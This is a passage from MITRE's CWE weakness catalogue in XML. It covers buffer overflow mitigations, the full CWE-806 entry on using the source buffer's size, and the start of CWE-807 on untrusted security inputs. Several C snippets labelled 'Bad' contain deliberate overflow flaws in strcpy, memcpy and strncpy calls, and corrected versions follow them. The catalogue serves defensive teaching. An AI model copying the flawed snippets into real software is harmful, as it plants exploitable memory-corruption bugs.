		 <xhtml:p> Use a CPU and operating system that offers Data Execution Protection (using hardware NX or XD bits) or the equivalent techniques that simulate this feature in software, such as PaX [REF-60] [REF-61]. These techniques ensure that any instruction executed is exclusively at a memory address that is part of the code segment.  </xhtml:p> 
	         <xhtml:p> For more information on these techniques see D3-PSEP (Process Segment Execution Prevention) from D3FEND [REF-1336]. </xhtml:p>
	       </Description> 
	       <Effectiveness>Defense in Depth</Effectiveness> 
	       <Effectiveness_Notes>This is not a complete solution, since buffer overflows could be used to overwrite nearby variables to modify the software's state in dangerous ways. In addition, it cannot be used in cases in which self-modifying code is required. Finally, an attack could still cause a denial of service, since the typical response is to exit the application. </Effectiveness_Notes> 
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-17">
               <Phase>Architecture and Design</Phase>
               <Phase>Operation</Phase>
               <Strategy>Environment Hardening</Strategy>
               <Description>Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the product or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-22">
               <Phase>Architecture and Design</Phase>
               <Phase>Operation</Phase>
               <Strategy>Sandbox or Jail</Strategy>
               <Description>
                  <xhtml:p>Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.</xhtml:p>
                  <xhtml:p>OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.</xhtml:p>
                  <xhtml:p>This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.</xhtml:p>
                  <xhtml:p>Be careful to avoid CWE-243 and other weaknesses related to jails.</xhtml:p>
               </Description>
               <Effectiveness>Limited</Effectiveness>
               <Effectiveness_Notes>The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.</Effectiveness_Notes>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-1">
               <Intro_Text>This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>void host_lookup(char *user_supplied_addr){<xhtml:div style="margin-left:1em;">
                        <xhtml:div>struct hostent *hp;<xhtml:br/>in_addr_t *addr;<xhtml:br/>char hostname[64];<xhtml:br/>in_addr_t inet_addr(const char *cp);<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>/*routine that ensures user_supplied_addr is in the right format for conversion */</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>validate_addr_form(user_supplied_addr);<xhtml:br/>addr = inet_addr(user_supplied_addr);<xhtml:br/>hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);<xhtml:br/>strcpy(hostname, hp-&gt;h_name);</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>This function allocates a buffer of 64 bytes to store the hostname under the assumption that the maximum length value of hostname is 64 bytes, however there is no guarantee that the hostname will not be larger than 64 bytes. If an attacker specifies an address which resolves to a very large hostname, then the function may overwrite sensitive data or even relinquish control flow to the attacker.</Body_Text>
               <Body_Text>Note that this example also contains an unchecked return value (CWE-252) that can lead to a NULL pointer dereference (CWE-476).</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-114">
               <Intro_Text>In the following example, it is possible to request that memcpy move a much larger segment of memory than assumed:</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>int returnChunkSize(void *) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>
                           <xhtml:i>/* if chunk info is valid, return the size of usable memory,</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>* else, return -1 to indicate an error</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>*/</xhtml:i>
                           <xhtml:br/>...</xhtml:div>
                     </xhtml:div>}<xhtml:br/>int main() {<xhtml:div style="margin-left:1em;">...<xhtml:br/>memcpy(destBuf, srcBuf, (returnChunkSize(destBuf)-1));<xhtml:br/>...</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>If returnChunkSize() happens to encounter an error it will return -1. Notice that the return value is not checked before the memcpy operation (CWE-252), so -1 can be passed as the size argument to memcpy() (CWE-805). Because memcpy() assumes that the value is unsigned, it will be interpreted as MAXINT-1 (CWE-195), and therefore will copy far more memory than is likely available to the destination buffer (CWE-787, CWE-788).</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>In the following example, the source character string is copied to the dest character string using the method strncpy.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>...<xhtml:br/>char source[21] = "the character string";<xhtml:br/>char dest[12];<xhtml:br/>strncpy(dest, source, sizeof(source)-1);<xhtml:br/>...</xhtml:div>
               </Example_Code>
               <Body_Text>However, in the call to strncpy the source character string is used within the sizeof call to determine the number of characters to copy. This will create a buffer overflow as the size of the source character string is greater than the dest character string. The dest character string should be used within the sizeof call to ensure that the correct number of characters are copied, as shown below.</Body_Text>
               <Example_Code Nature="Good" Language="C">
                  <xhtml:div>...<xhtml:br/>char source[21] = "the character string";<xhtml:br/>char dest[12];<xhtml:br/>strncpy(dest, source, sizeof(dest)-1);<xhtml:br/>...</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>In this example, the method outputFilenameToLog outputs a filename to a log file. The method arguments include a pointer to a character string containing the file name and an integer for the number of characters in the string. The filename is copied to a buffer where the buffer size is set to a maximum size for inputs to the log file. The method then calls another method to save the contents of the buffer to the log file.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>#define LOG_INPUT_SIZE 40<xhtml:br/>
                     <xhtml:br/>
                     <xhtml:i>// saves the file name to a log file</xhtml:i>
                     <xhtml:br/>int outputFilenameToLog(char *filename, int length) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>int success;<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// buffer with size set to maximum size for input to log file</xhtml:i>
                           <xhtml:br/>char buf[LOG_INPUT_SIZE];<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// copy filename to buffer</xhtml:i>
                           <xhtml:br/>strncpy(buf, filename, length);<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// save to log file</xhtml:i>
                           <xhtml:br/>success = saveToLogFile(buf);<xhtml:br/>
                           <xhtml:br/>return success;</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>However, in this case the string copy method, strncpy, mistakenly uses the length method argument to determine the number of characters to copy rather than using the size of the local character string, buf. This can lead to a buffer overflow if the number of characters contained in character string pointed to by filename is larger then the number of characters allowed for the local character string. The string copy method should use the buf character string within a sizeof call to ensure that only characters up to the size of the buf array are copied to avoid a buffer overflow, as shown below.</Body_Text>
               <Example_Code Nature="Good" Language="C">
                  <xhtml:div>...<xhtml:br/>
                     <xhtml:i>// copy filename to buffer</xhtml:i>
                     <xhtml:br/>strncpy(buf, filename, sizeof(buf)-1);<xhtml:br/>...</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2011-1959</Reference>
               <Description>Chain: large length value causes buffer over-read (CWE-126)</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2011-1959</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2011-1848</Reference>
               <Description>Use of packet length field to make a calculation, then copy into a fixed-size buffer</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2011-1848</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2011-0105</Reference>
               <Description>Chain: retrieval of length value from an uninitialized memory location</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2011-0105</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2011-0606</Reference>
               <Description>Crafted length value in document reader leads to buffer overflow</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2011-0606</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2011-0651</Reference>
               <Description>SSL server overflow when the sum of multiple length fields exceeds a given value</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2011-0651</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2010-4156</Reference>
               <Description>Language interpreter API function doesn't validate length argument, leading to information exposure</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2010-4156</Link>
            </Observed_Example>
         </Observed_Examples>
         <Affected_Resources>
            <Affected_Resource>Memory</Affected_Resource>
         </Affected_Resources>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>ARR38-C</Entry_ID>
               <Entry_Name>Guarantee that library functions do not form invalid pointers</Entry_Name>
               <Mapping_Fit>Imprecise</Mapping_Fit>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="100"/>
            <Related_Attack_Pattern CAPEC_ID="256"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-7" Section="Chapter 6, &#34;Why ACLs Are Important&#34; Page 171"/>
            <Reference External_Reference_ID="REF-58"/>
            <Reference External_Reference_ID="REF-59"/>
            <Reference External_Reference_ID="REF-60"/>
            <Reference External_Reference_ID="REF-741"/>
            <Reference External_Reference_ID="REF-57"/>
            <Reference External_Reference_ID="REF-56"/>
            <Reference External_Reference_ID="REF-61"/>
            <Reference External_Reference_ID="REF-76"/>
            <Reference External_Reference_ID="REF-64"/>
	    <Reference External_Reference_ID="REF-1332"/>
	    <Reference External_Reference_ID="REF-1333"/>
	    <Reference External_Reference_ID="REF-1334"/>
	    <Reference External_Reference_ID="REF-1335"/>
	    <Reference External_Reference_ID="REF-1336"/>
	    <Reference External_Reference_ID="REF-1337" Section="Memory information leaks"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2010-01-15</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Potential_Mitigations, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Observed_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-02-18</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Causal_Nature, Demonstrative_Examples, Likelihood_of_Exploit, References, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Common_Consequences</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Detection_Factors, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, References, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="806" Name="Buffer Access Using Size of Source Buffer" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product uses the size of a source buffer when reading from or writing to a destination buffer, which may cause it to access memory that is outside of the bounds of the buffer.</Description>
         <Extended_Description>When the size of the destination is smaller than the size of the source, a buffer overflow could occur.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="805" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Resultant</Ordinality>
            </Weakness_Ordinality>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Name="C" Prevalence="Sometimes"/>
            <Language Name="C++" Prevalence="Sometimes"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Availability</Scope>
               <Impact>Modify Memory</Impact>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Impact>DoS: Resource Consumption (CPU)</Impact>
               <Note>Buffer overflows generally lead to crashes. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.</Note>
            </Consequence>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Scope>Availability</Scope>
               <Impact>Read Memory</Impact>
               <Impact>Modify Memory</Impact>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Note>Buffer overflows often can be used to execute arbitrary code, which is usually outside the scope of a program's implicit security policy.</Note>
            </Consequence>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
               <Note>When the consequence is arbitrary code execution, this can often be used to subvert any other security service.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Use an abstraction library to abstract away risky APIs. Examples include the Safe C String Library (SafeStr) by Viega, and the Strsafe.h library from Microsoft. This is not a complete solution, since many buffer overflows are not related to strings.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-10">
              <Phase>Operation</Phase> 
	      <Phase>Build and Compilation</Phase>
	      <Strategy>Environment Hardening</Strategy> 
	      <Description> 
		<xhtml:p>Use automatic buffer overflow detection mechanisms that are offered by certain compilers or compiler extensions. Examples include: the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice, which provide various mechanisms including canary-based detection and range/index checking. </xhtml:p> 
		<xhtml:p> D3-SFCV (Stack Frame Canary Validation) from D3FEND [REF-1334] discusses canary-based detection in detail. </xhtml:p> 

	      </Description> 
	      <Effectiveness>Defense in Depth</Effectiveness> 
	      <Effectiveness_Notes> 
		<xhtml:p> This is not necessarily a complete solution, since these mechanisms only detect certain types of overflows. In addition, the result is still a denial of service, since the typical response is to exit the application. </xhtml:p> 
	      </Effectiveness_Notes> 
 
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Programmers should adhere to the following rules when allocating and managing their applications memory: Double check that your buffer is as large as you specify. When using functions that accept a number of bytes to copy, such as strncpy(), be aware that if the destination buffer size is equal to the source buffer size, it may not NULL-terminate the string. Check buffer boundaries if calling this function in a loop and make sure there is no danger of writing past the allocated space. Truncate all input strings to a reasonable length before passing them to the copy and concatenation functions</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-11">
               <Phase>Operation</Phase> 
	       <Phase>Build and Compilation</Phase> 
	       <Strategy>Environment Hardening</Strategy> 
	       <Description>
		 <xhtml:p>Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code. </xhtml:p> 
		 <xhtml:p> Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64]. Imported modules may be similarly realigned if their default memory addresses conflict with other modules, in a process known as "rebasing" (for Windows) and "prelinking" (for Linux) [REF-1332] using randomly generated addresses. ASLR for libraries cannot be used in conjunction with prelink since it would require relocating the libraries at run-time, defeating the whole purpose of prelinking. </xhtml:p> 
		 <xhtml:p> For more information on these techniques see D3-SAOR (Segment Address Offset Randomization) from D3FEND [REF-1335]. </xhtml:p>
	       </Description> 
	       <Effectiveness>Defense in Depth</Effectiveness> 
	       <Effectiveness_Notes>These techniques do not provide a complete solution.  For instance, exploits frequently use a bug that discloses memory addresses in order to maximize reliability of code execution [REF-1337]. It has also been shown that a side-channel attack can bypass ASLR [REF-1333]</Effectiveness_Notes> 
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-12">
               <Phase>Operation</Phase> 
	       <Strategy>Environment Hardening</Strategy> 
	       <Description> 
		 <xhtml:p> Use a CPU and operating system that offers Data Execution Protection (using hardware NX or XD bits) or the equivalent techniques that simulate this feature in software, such as PaX [REF-60] [REF-61]. These techniques ensure that any instruction executed is exclusively at a memory address that is part of the code segment.  </xhtml:p> 
	         <xhtml:p> For more information on these techniques see D3-PSEP (Process Segment Execution Prevention) from D3FEND [REF-1336]. </xhtml:p>
	       </Description> 
	       <Effectiveness>Defense in Depth</Effectiveness> 
	       <Effectiveness_Notes>This is not a complete solution, since buffer overflows could be used to overwrite nearby variables to modify the software's state in dangerous ways. In addition, it cannot be used in cases in which self-modifying code is required. Finally, an attack could still cause a denial of service, since the typical response is to exit the application. </Effectiveness_Notes> 

            </Mitigation>
            <Mitigation>
               <Phase>Build and Compilation</Phase>
               <Phase>Operation</Phase>
               <Description>Most mitigating technologies at the compiler or OS level to date address only a subset of buffer overflow problems and rarely provide complete protection against even that subset. It is good practice to implement strategies to increase the workload of an attacker, such as leaving the attacker to guess an unknown value that changes every program execution.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>In the following example, the source character string is copied to the dest character string using the method strncpy.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>...<xhtml:br/>char source[21] = "the character string";<xhtml:br/>char dest[12];<xhtml:br/>strncpy(dest, source, sizeof(source)-1);<xhtml:br/>...</xhtml:div>
               </Example_Code>
               <Body_Text>However, in the call to strncpy the source character string is used within the sizeof call to determine the number of characters to copy. This will create a buffer overflow as the size of the source character string is greater than the dest character string. The dest character string should be used within the sizeof call to ensure that the correct number of characters are copied, as shown below.</Body_Text>
               <Example_Code Nature="Good" Language="C">
                  <xhtml:div>...<xhtml:br/>char source[21] = "the character string";<xhtml:br/>char dest[12];<xhtml:br/>strncpy(dest, source, sizeof(dest)-1);<xhtml:br/>...</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>In this example, the method outputFilenameToLog outputs a filename to a log file. The method arguments include a pointer to a character string containing the file name and an integer for the number of characters in the string. The filename is copied to a buffer where the buffer size is set to a maximum size for inputs to the log file. The method then calls another method to save the contents of the buffer to the log file.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>#define LOG_INPUT_SIZE 40<xhtml:br/>
                     <xhtml:br/>
                     <xhtml:i>// saves the file name to a log file</xhtml:i>
                     <xhtml:br/>int outputFilenameToLog(char *filename, int length) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>int success;<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// buffer with size set to maximum size for input to log file</xhtml:i>
                           <xhtml:br/>char buf[LOG_INPUT_SIZE];<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// copy filename to buffer</xhtml:i>
                           <xhtml:br/>strncpy(buf, filename, length);<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// save to log file</xhtml:i>
                           <xhtml:br/>success = saveToLogFile(buf);<xhtml:br/>
                           <xhtml:br/>return success;</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>However, in this case the string copy method, strncpy, mistakenly uses the length method argument to determine the number of characters to copy rather than using the size of the local character string, buf. This can lead to a buffer overflow if the number of characters contained in character string pointed to by filename is larger then the number of characters allowed for the local character string. The string copy method should use the buf character string within a sizeof call to ensure that only characters up to the size of the buf array are copied to avoid a buffer overflow, as shown below.</Body_Text>
               <Example_Code Nature="Good" Language="C">
                  <xhtml:div>...<xhtml:br/>
                     <xhtml:i>// copy filename to buffer</xhtml:i>
                     <xhtml:br/>strncpy(buf, filename, sizeof(buf)-1);<xhtml:br/>...</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Affected_Resources>
            <Affected_Resource>Memory</Affected_Resource>
         </Affected_Resources>
         <References>
            <Reference External_Reference_ID="REF-56"/>
            <Reference External_Reference_ID="REF-57"/>
            <Reference External_Reference_ID="REF-58"/>
            <Reference External_Reference_ID="REF-59"/>
            <Reference External_Reference_ID="REF-60"/>
            <Reference External_Reference_ID="REF-61"/>
            <Reference External_Reference_ID="REF-64"/>
	    <Reference External_Reference_ID="REF-1332"/>
	    <Reference External_Reference_ID="REF-1333"/>
	    <Reference External_Reference_ID="REF-1334"/>
	    <Reference External_Reference_ID="REF-1335"/>
	    <Reference External_Reference_ID="REF-1336"/>
	    <Reference External_Reference_ID="REF-1337" Section="Memory information leaks"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2010-01-15</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-02-18</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Causal_Nature, Demonstrative_Examples, Likelihood_of_Exploit, References</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Common_Consequences</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, References, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="807" Name="Reliance on Untrusted Inputs in a Security Decision" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product uses a protection mechanism that relies on the existence or values of an input, but the input can be modified by an untrusted actor in a way that bypasses the protection mechanism.</Description>
         <Extended_Description>
            <xhtml:p>Developers may assume that inputs such as cookies, environment variables, and hidden form fields cannot be modified. However, an attacker could change these inputs using customized clients or other attacks. This change might not be detected. When security decisions such as authentication and authorization are made based on the values of these inputs, attackers can bypass the security of the software.</xhtml:p>
            <xhtml:p>Without sufficient encryption, integrity checking, or other mechanism, any input that originates from an outsider cannot be trusted.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="693" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>COMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.</Note>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Access Control</Scope>
               <Scope>Availability</Scope>
               <Scope>Other</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Impact>Varies by Context</Impact>
